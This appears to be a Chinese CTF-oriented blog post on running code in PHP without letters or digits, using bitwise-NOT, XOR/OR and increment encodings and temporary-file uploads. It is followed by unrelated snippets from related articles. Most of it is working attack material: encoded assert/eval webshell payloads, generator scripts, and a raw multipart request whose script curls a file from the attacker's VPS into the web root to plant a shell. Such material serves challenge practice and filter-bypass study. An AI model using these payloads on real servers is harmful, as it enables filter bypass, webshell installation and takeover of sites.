无数字字母rce总结(取反、异或、自增、临时文件)

news/2024/7/5 15:38:15/文章来源:https://blog.csdn.net/qq_61778128/article/details/127063407

目录

取反

异或

自增

临时文件


大概思路有取反、异或、自增,临时文件

推荐文章无字母数字webshell总结 - 先知社区

取反

如图示,对phpinfo取反,再取反,仍然得到phpinfo,但是可以利用它进行一些对数字字母过滤的绕过

paylaod: (~%8F%97%8F%96%91%99%90)();

像这样:

<?php 
$a=urlencode(~'assert');
echo $a;
echo '666';
$b=urlencode(~'eval($_POST[1]);');
echo $b;

shell:

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);

异或

这里有一个异或构造的脚本, 相信聪明的你一看就知道怎么回事了

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
​
answer = str(input("请输入进行异或构造的字符串:"))
​
tmp1, tmp2 = '', ''
for c in answer:for i in valid:for j in valid:if (ord(i) ^ ord(j) == ord(c)):tmp1 += itmp2 += jbreakelse:continuebreak
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

那么怎么利用呢?

var_dump('#'^'|'); //得到字符 _
var_dump('.'^'~'); //得到字符 P    
var_dump('/'^'`'); //得到字符 0    
var_dump('|'^'/'); //得到字符 S    
var_dump('{'^'/'); //得到字符 T    
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'
mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=print_r(show_source('p.php'));
​
<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);
​
//需要注意的是,由于我们的Payload中含有一些特殊字符,我们我们需要对Payload进行一次URL编码。

像这样:

${"`{{{"^"?<>/"}['+']();&+=命令   //$_GET[+]

参考ctfshow web141

payload大概这个样:

?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")%2b

import recontent = ''
preg = '[a-z]|[0-9]' # 题目过滤正则
# 生成字典
for i in range(256):for j in range(256):if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):k = i | jif 32 <= k <= 126:a = '%' + hex(i)[2:].zfill(2)b = '%' + hex(j)[2:].zfill(2)content += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)while True:payload1 = ''payload2 = ''code = input("data:")for i in code:f = open('rce_or.txt')lines = f.readlines()for line in lines:if i == line[0]:payload1 = payload1 + line[2:5]payload2 = payload2 + line[6:9]breakpayload = '("'+payload1+'"|"'+payload2+'")'print("payload: "+ payload)

自增

<?php$_++;
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字 
"A"++ ==> "B"
"B"++ ==> "C"

也就是说,如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

<?php
$a = ''.[];
var_dump($a);

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

payload:

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

临时文件

临时文件目录:

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符]

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp

大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令

 curl http://your_vps/1.txt > /var/www/html/1.php

然后 ?cmd=?><?=`/??p/p?p??????`;

为什么可以这样执行呢?因为在linux里,如果一个文件里有命令,是可以通过这个文件名执行命令的,这里我们相当于使用临时文件执行了命令

报文:

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 618a0396-811a-4d71-8a45-f1de434bde26.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------5642920497686823912130808832
Connection: close
Cookie: UM_distinctid=17424c95164f2-06a0a787df53968-4c302273-144000-17424c9516533d
Upgrade-Insecure-Requests: 1
Content-Length: 291
​
-----------------------------5642920497686823912130808832
Content-Disposition: form-data; name="fileUpload"; filename="dd.txt"
Content-Type: text/plain
​
#! /bin/sh
​
curl http://your_vps/dd.txt >> /var/www/html/Demo.php
-----------------------------5642920497686823912130808832--

这样就会把dd.txt里的内容以php的形式写入到网站服务器里。完成getshell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_392045.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CUBE MX ADC多通道DMA传输只有数组第一位获得数据问题

出现问题现象如下,ADC取值数组只有第一位得到了数据 经多次反复检查,发现CUBE配置是没问题的,于是检查了一下生成的代码,发现DMA初始化函数在自动生成时被放在了ADC初始化函数的后面,如下图 把DMA初始化函数手动移到ADC初始化函数前后问题解决

16Cost Community

Cost Community Cost Community 是一个扩展的Community属性&#xff0c;只能传递给IBGP或联邦peer&#xff08;含联邦IBGP及EBGP邻居&#xff09;&#xff0c;不能传递给EBGP邻居 利用Cost Community我们可以在AS或联邦内部自定义BGP的最优路径选择&#xff0c;BGP13条选路规…

S7-200SMART PLC中读取和设置时钟的具体方法介绍

S7-200SMART PLC中读取和设置时钟的具体方法介绍 首先,利用编程电缆或网线与PLC建立通信连接,连接PLC成功后,如下图所示,点击编程软件中的“PLC”—“设置时钟”, 如下图所示,在弹出的窗口中可以读取当前PC的时钟或者PLC当前的时钟数据,本例中以点击“读取PC”为例进行…

Spring源码

这里写目录标题第一章&#xff1a;Spring引言一&#xff1a;当前Spring的一个地位二: SpringBoot的真正的价值1&#xff1a;方便导入Jar包2&#xff1a;简化冗余配置3&#xff1a;内嵌了Tomcat第一章&#xff1a;Spring引言 一&#xff1a;当前Spring的一个地位 Spring准确的…

Python中dict[key]=vlaue更新字典中键的值

【小白从小学Python、C、Java】 【Python-计算机等级考试二级】 【Python-数据分析】 更新字典中键的值&#xff0c;如果键值不存在&#xff0c;则创建键值对 dict[key]vlaue 方法 [太阳]选择题 对于以下Python代码表述有误的选项是&#xff1f; d {"name":"小…

第四十四章 使用多个 IRIS 实例(四)

文章目录第四十四章 使用多个 IRIS 实例&#xff08;四&#xff09;配置多个 IRIS 实例设置端口号第四十四章 使用多个 IRIS 实例&#xff08;四&#xff09; 配置多个 IRIS 实例 可以在一台机器上安装并同时运行多个 IRIS 实例。像单一安装一样安装 IRIS&#xff0c;为每个实…

JDK 19 / Java 19 正式发布

近日&#xff0c;甲骨文公司正式发布Java 19&#xff0c;这是备受欢迎的编程语言和开发平台推出的全新版本。Java19 (Oracle JDK 19) 在性能、稳定性和安全性方面进行了数千种改进&#xff0c;包括进一步优化平台的增强功能&#xff0c;以帮助开发人员提高工作效率&#xff0c;…

学习:网络基础知识 HTTP协议之响应报文

响应报文-服务器回应给客户端的报文 响应行+响应头部+空一行(格式代表响应头部结束)+响应体(服务器真真要返回的页面内容) 可以百度HTTP状态码可以看到详细的介绍 响应头部 主要关注:Set-Cookies ,Connection

好课 / 平台推荐

1. 好课 / 平台推荐 1.1. 学堂在线 清华名师的在线课堂 推荐 《积极心理学》 1.2. Cousera 国际名校网课 推荐 《AI for everyone》 1.3. 爱课堂 (中国大学 MOOC) 教育部慕课好课 推荐 《程序设计》(翁凯) 1.4. EDX 哈佛、MIT 藤校网课 推荐 《CS50》 1.5. 网易公…

Mapped Statements collection already contains value for ... 报错原因及解决办法

文章目录一、Mapped Statements collection already contains value for...1. 异常报错描述&#xff1a;1.1 详细描述1&#xff1a;2. 异常报错信息案例&#xff1a;2.1 案例1&#xff1a;2.1.1 异常错误描述&#xff1a;2.1.2 解决方案&#xff1a;一、Mapped Statements coll…

关系模型知识点总结(1)—— 关系数据结构

关系数据结构一、前言二、概述三、关系的定义及相关概念1.域&#xff08;Domain&#xff09;2.基数3.元组4.分量5.笛卡儿积6.关系7.关系的目/度8.属性四、关系的码1.候选码2.主码、主属性、非码属性3.全码4.外码五、关系的性质六、关系模式和关系数据库1.关系数据库2.关系数据库…

多御安全浏览器迎来小更新,优化后更方便使用

每个人的电脑都有一款不可或缺的软件应用&#xff0c;那就是浏览器。作为上网的媒介&#xff0c;浏览器为我们的生活提供了很多便利的服务。近日&#xff0c;多御安全浏览器又迎来了一次小更新&#xff0c;这次更新主要是对浏览器进行优化&#xff0c;更加方便用户使用了。一起…

计算空间物体包围球的两种算法实现_charlee44的博客

1. 概述 在进行二维空间几何运算的之前,往往会用包围盒进行快速碰撞检测,从而筛掉一些无法碰撞到的可能。而在三维中,比较常用的就是包围球了。当然,如何计算包围球是一个问题。 2. 详论 2.1. naive算法 一个最简单的思路就是,计算空间顶点在X、Y、Z方向上的最大值和最小值…

linux配置当前用户java环境

cd ~ ls -al 这里可以看到一个 .bash_profile 的文件 然后vim 它 vim .bash_profile 插入如下代码 PATH=$PATH:$HOME/binexport JAVA_HOME=/apps/upgrade_sjzx/jdk/jdk1.8.0_162export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH=$JAVA_HOME/b…

JAVA代码操作HDFS

1、客户端环境准备 &#xff08;1&#xff09;将Hadoop-2.9.2安装包解压到非中文路径&#xff08;例如&#xff1a;E:\hadoop-2.9.2&#xff09; &#xff08;2&#xff09; 配置HADOOP_HOME环境变量 &#xff08;3&#xff09; 配置Path环境变量。 &#xff08;4&#xff09;…

使用SqlSugar连接多个数据库(sqlserver,sqlite,mysql)

有时候&#xff0c;一个项目只有一个数据库&#xff0c;比如只有SQLite&#xff0c;或者MySQL数据库&#xff0c;那么我们只需要使用一个固定的数据库即可。但是一个项目如果写好了&#xff0c;有多个用户使用&#xff0c;但是多个用户使用不同的数据库&#xff0c;这个时候&am…

多测师肖sir_疑难杂症_linux中设置中文,数据库中插入中文

一、linux中如何切换出中文 讲解是Centos6.5版本 &#xff08;1&#xff09;第一步打开控制台输入安装中文输入法&#xff1a; yum install “Chinese Support” &#xff08;2&#xff09;查清自己目前的系统版本&#xff1a;cat /etc/issue 查看系统版本&#xff1a; 下载好…

操作系统漏洞利用思路

目录 前言&#xff1a; &#xff08;一&#xff09;漏洞发现工具 0x01、Goby 0x02、Nmap 1、vuln 2、vulscan 0x03 Nessus &#xff08;二&#xff09;漏洞利用 0x01、框架利用 0x02、单点EXP 0x03 搜索文章 &#xff08;三&#xff09;修补 1、打上补丁 2、关闭…

node.js基于微信小程序的外卖订餐系统 uniapp 小程序

美食是人类永恒的话题&#xff0c;无论是在古代还是现代人们对美食都有一种非常的热爱在里面&#xff0c;但是随着时代的发展&#xff0c;人们可能没有更多的时间去研究美食&#xff0c;很多时候人们在下班或者放学之后更希望通过网络来进行订餐&#xff0c;为此我开发了本基于…

顺序栈和链式栈(C++实现)

数据结构&#xff08;面向对象方法与C语言描述&#xff09;&#xff08;第2版&#xff09;顺序栈和链式栈内容整理 栈 栈&#xff08;stack&#xff09;可定义为只允许在表的末端进行插入和删除的线性表。允许插入和删除的一端叫做栈顶&#xff08;top&#xff09;&#xff0…